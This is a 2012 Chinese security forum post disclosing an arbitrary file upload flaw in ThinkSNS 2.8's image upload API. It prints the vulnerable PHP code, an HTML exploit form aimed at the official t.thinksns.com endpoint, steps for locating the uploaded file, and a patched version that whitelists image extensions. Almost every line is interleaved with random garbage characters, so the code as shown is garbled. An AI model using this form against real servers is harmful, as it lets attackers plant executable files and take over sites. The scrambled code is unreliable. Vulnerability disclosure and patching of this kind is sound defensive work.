找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。( ^! u  N! U0 P; m' W/ O' w3 m
" T; Q( T; v  K' q4 Z

3 V  [7 V! z2 @* U\api\StatusesApi.class.php6 \! `% Z% R$ U, h8 q$ J; i4 A
. q. [( |7 ^' C3 r2 A
function uploadpic(){
1 Y# w/ z+ t/ V8 e      if( $_FILES['pic'] ){
) n+ n, |/ }- k" c     //执行上传操作% z6 T9 T$ A  r
     $savePath =  $this->_getSaveTempPath();( }  A4 x* F% U  m* i
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);" }0 j" w( P4 c5 n8 T! M  e& o/ v+ f
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))# Q+ D1 w4 V% [# H
       {3 K8 y2 f1 F: }3 H4 m0 W
        $result['boolen']    = 1;
3 X1 ?( U# [: m: V6 a" q        $result['type_data'] = 'temp/'.$filename;2 ?3 G. M7 v* K
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;* h% q2 m& X. E! V1 {% F
       } else {
$ z* S% D" v, O$ k) P/ k8 U        $result['boolen']    = 0;
% }# h7 `  f3 n        $result['message']   = '上传失败';
4 N3 C' F4 _, ~       }
  X' K3 Q, U" y/ i     }else{
4 z! @9 i: a' H0 V  u  u9 ?         $result['boolen']    = 0;
7 q. b& k( J$ t: I5 q         $result['message']   = '上传失败';
7 |$ E6 s! x8 E7 v3 x     }
4 J7 R# J- y% h$ zreturn $result;
% ~7 c* G  {  C1 Y1 G    }6 ~2 C0 _; z/ R+ B# N% {
unloadpic()方法没有对文件类型进行验证
& U& v" E' S7 O4 K' o
1 u+ b" q) a" r可以构建表单, 选择任意文件, 提交到
( o& W4 a; ^) D( q/index.php?app=w3g&mod=Index&act=doPost3 F5 b3 |+ T6 r* l& D  q7 w

+ e  D0 L; J2 b0 _, D: P0 a6 I  L在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 v, Z2 L4 W+ ?% t& q+ @0 }
; C# D8 S, X2 G! T- ]) E6 q" w9 i: o9 f/ c% f& [
在登录thinksns官方微博后,4 W6 a! |6 j1 L" r2 Y" h! w
构建以下表单:
. T9 h6 y& V' t7 r1 A; ]   U$ j$ N% m7 k- C- ]( Z
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />. U  C: U# {' }
<textarea name="content">test</textarea>% F; R5 F0 C! P8 W( q1 i3 ]: J% d
file: <input id="file" type="file" name="pic" />
9 s2 T5 Y5 P5 H<input type="submit" value="Post" />6 J9 q$ W! E8 g/ b. O' y
</form>" B, D& U2 F9 T0 X
去掉缩略图的前缀(small_ )
7 q, T! H3 U* f: E​修复方案:
" o8 {9 S* w5 z! k7 X( ]. |7 p: X" i5 v$ z+ m9 u& V
/ R# d" u$ ]% v6 r/ I& U6 L; H2 C# X
\api\StatusesApi.class.php6 ~* s0 Z! v2 w, A9 w0 Z

) G* @: R9 _- N/ h8 n2 A/ `function uploadpic(){$ i  S9 y2 {3 g
     /**' b) Y6 b$ O* A' R/ c0 R
      * 20121018 @yelo
& S$ ^% |6 S) t7 a1 J* h; Y. g      * 增加上传类型验证
. M1 B$ {4 o' N( V' S9 R      */
, O) D5 F, V6 t* d# {% z     $pathinfo = pathinfo($_FILES['pic']['name']);) `2 N. c3 t; a: y1 q0 h" M
     $ext = $pathinfo['extension'];
8 Y9 a0 p5 }3 B $allowExts = array('jpg', 'png', 'gif', 'jpeg');
0 {/ ?$ K2 ~1 B  i) i
* F! }; Z- J- q) t' f     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
! O- S9 n: E) M: y  ?& k6 w # \5 D* V$ [7 o6 R. N: ]
     if( $uploadCondition ){
1 G- F2 N  S8 R  j. z2 f  }     //执行上传操作& Z5 A+ Z$ J1 w) y$ M
     $savePath =  $this->_getSaveTempPath();
7 K# E- {. X; h, K     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
  z# ^& `' D+ R    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
. A# o7 g0 v2 L( o6 F       {: |, h8 ?7 O, C" e, t7 ^
        $result['boolen']    = 1;) f, {- k) S9 |) k/ _2 n2 m% A
        $result['type_data'] = 'temp/'.$filename;
% [' L- c( h* M: B& ~6 m5 L        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;! c8 t$ ~* x5 \0 Y, c+ g
       } else {
4 s9 ^" W9 ]8 V! `  B" `0 ^0 [8 h        $result['boolen']    = 0;
" C. S: b5 [& e        $result['message']   = '上传失败';$ D7 v7 p% S# f5 K- U; y* D
       }/ |+ X+ {8 U8 U4 [- H* ^4 o: ?$ T( d5 ^3 w
     }else{
9 g6 Q! Y- ?1 U% O* h: M         $result['boolen']    = 0;& }  _. b( O4 V6 X
         $result['message']   = '上传失败';
7 E% h# d% c7 {" q: T" R+ O     }/ r9 V/ O) {, |& r# ~0 f. _' U
return $result;
* y& o! N1 b* {8 Q' y1 y    }+ l  {) H# B1 G+ ^$ a  E

# [- f2 r0 W6 V- A$ m! N
8 j, P2 g/ @2 k8 _3 U' v0 {& ~  D3 P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表